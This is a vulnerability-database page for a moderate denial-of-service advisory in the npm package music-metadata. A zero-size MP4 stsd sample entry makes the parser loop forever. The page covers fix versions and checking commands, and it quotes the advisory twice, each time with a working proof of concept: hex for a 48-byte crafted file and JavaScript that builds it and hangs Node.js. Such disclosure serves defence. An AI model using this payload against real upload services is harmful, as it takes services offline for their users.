Vulnerabilities in pkg:npm/music-metadata

PACKAGE
Advisory Identifier: GHSA-f94x-6692-553q
Advisory Summary

CVE-2026-107391 is a MODERATE (CVSS 6.2) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting music-metadata libraries in the npm ecosystem. The issue involves mp4 stsd sample-entry size==0 causes a synchronous infinite loop (dos) — unreleased regression on master. Remediation is available by upgrading affected packages to version 11.16.0.

6 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/music-metadata

6 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/music-metadata. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-f94x-6692-553q CVE-2026-107391 MODERATE music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master
GHSA-53v6-4h7p-p4gj CVE-2026-107387 MODERATE music-metadata: Uncontrolled memory allocation in APEv2 parser
GHSA-jjpr-9cvf-cq55 CVE-2026-107388 MODERATE music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
GHSA-5gfj-9q3v-qfp3 CVE-2026-107389 MODERATE music-metadata: EBML parser trusts element lengths, allowing memory exhaustion or process abort
GHSA-8j4c-6x6g-rq3j CVE-2026-107392 MODERATE music-metadata: uncatchable process crash parsing a crafted `.dsf` (residual of GHSA-v6c2-xwv6-8xf7)
GHSA-v6c2-xwv6-8xf7 CVE-2026-32256 HIGH music-metadata has an infinite loop vulnerability in ASF parser

CVE-2026-107391 at a Glance

CVE Identifier CVE-2026-107391
GHSA Identifier GHSA-f94x-6692-553q
Severity MODERATE
CVSS v3.1 Base Score 6.2
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product music-metadata
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-107391

To remediate this vulnerability, upgrade all affected music-metadata dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

music-metadata fixed: 11.16.0
npm install music-metadata@11.16.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls music-metadata

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-107391, inspect your project dependencies using npm:

npm ls music-metadata

Analyze the terminal output to locate any version of music-metadata in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.16.0), your application is affected.

Note: The npm ls music-metadata command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In music-metadata, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`. This is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships. ### Details `lib/mp4/AtomToken.ts`, `StsdAtom.get()`: ```ts for (let n = 0; n < header.numberOfEntries; ++n) { const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size off += Token.UINT32_BE.len; // +4 (skip the size field) table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off)); off += size - Token.UINT32_BE.len; // net advance = size - 4 } ``` - Introduced by commit `d2a7d6f` ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`. - With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration. - `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first. - The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug. ### PoC 48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`. ``` hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001 sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80 ``` This builds the malicious buffer inline: ```js import { parseBuffer } from 'music-metadata'; const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff); const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff]; const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; }; const zeros = (n) => new Array(n).fill(0); function build(entryCount, entrySize) { const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0)); const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry const payload = cat(stsdHeader, entry); const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload); return Uint8Array.from(cat(ftyp, stsd)); } const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0 console.log('parsing', hang.length, 'byte file …'); await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop console.log('unreachable'); ``` ``` $ timeout 8 node poc.mjs parsing 48 byte file … # process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time ``` Control (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone. Version-scope control (same 48-byte file against the latest npm release, `music-metadata@11.14.0`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped. ### Impact Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call. This is the same vulnerability class and CVSS vector as the project's own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.

CVE-2026-107391 Affected music-metadata Versions

1 component(s)
Fixed Versions:
11.16.0
Product / Package Ecosystem Affected Versions Fixed Version
music-metadata
npm
< 11.16.0
11.16.0

References

Frequently Asked Questions

What is CVE-2026-107391?
CVE-2026-107391 is a security vulnerability in music-metadata involving MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master under CWE-400: Uncontrolled Resource Consumption.
Which music-metadata versions are affected?
Affected versions include releases prior to 11.16.0 across affected packages: music-metadata.
What version fixes CVE-2026-107391?
Upgrading to 11.16.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is music-metadata affected?
Yes, music-metadata is affected in releases prior to 11.16.0. Upgrade your dependency to 11.16.0 or later.
What is the CVSS score of CVE-2026-107391?
CVE-2026-107391 has a CVSS v3.1 base score of 6.2 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-107391?
CVE-2026-107391 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-107391?
Run the dependency tree command: 'npm ls music-metadata'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f94x-6692-553q",
  "modified" : "2026-10-08T19:43:25Z",
  "published" : "2026-10-08T19:43:25Z",
  "aliases" : [ "CVE-2026-107391" ],
  "summary" : "music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master",
  "details" : "### Summary\n\n`StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`.\n\nThis is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships.\n\n### Details\n\n`lib/mp4/AtomToken.ts`, `StsdAtom.get()`:\n\n```ts\nfor (let n = 0; n < header.numberOfEntries; ++n) {\n  const size = Token.UINT32_BE.get(buf, off);   // attacker-controlled entry size\n  off += Token.UINT32_BE.len;                    // +4 (skip the size field)\n  table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));\n  off += size - Token.UINT32_BE.len;             // net advance = size - 4\n}\n```\n\n- Introduced by commit `d2a7d6f` (\"fix(mp4): locate each sample entry after the first correctly\", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`.\n- With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration.\n- `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first.\n- The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug.\n\n### PoC\n\n48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`.\n\n```\nhex:    00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001\nsha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80\n```\n\nThis builds the malicious buffer inline:\n\n```js\nimport { parseBuffer } from 'music-metadata';\n\nconst ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff);\nconst u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];\nconst cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };\nconst zeros = (n) => new Array(n).fill(0);\n\nfunction build(entryCount, entrySize) {\n  const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));\n  const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count\n  const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry\n  const payload = cat(stsdHeader, entry);\n  const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);\n  return Uint8Array.from(cat(ftyp, stsd));\n}\n\nconst hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0\nconsole.log('parsing', hang.length, 'byte file …');\nawait parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop\nconsole.log('unreachable');\n```\n\n```\n$ timeout 8 node poc.mjs\nparsing 48 byte file …\n# process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time\n```\n\nControl (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone.\n\nVersion-scope control (same 48-byte file against the latest npm release, `music-metadata@11.14.0`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped.\n\n### Impact\n\nAny application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call. \n\nThis is the same vulnerability class and CVSS vector as the project's own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "music-metadata"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "11.16.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Borewit/music-metadata/pull/2734"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Borewit/music-metadata"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-835" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T19:43:25Z",
    "nvd_published_at" : null
  }
}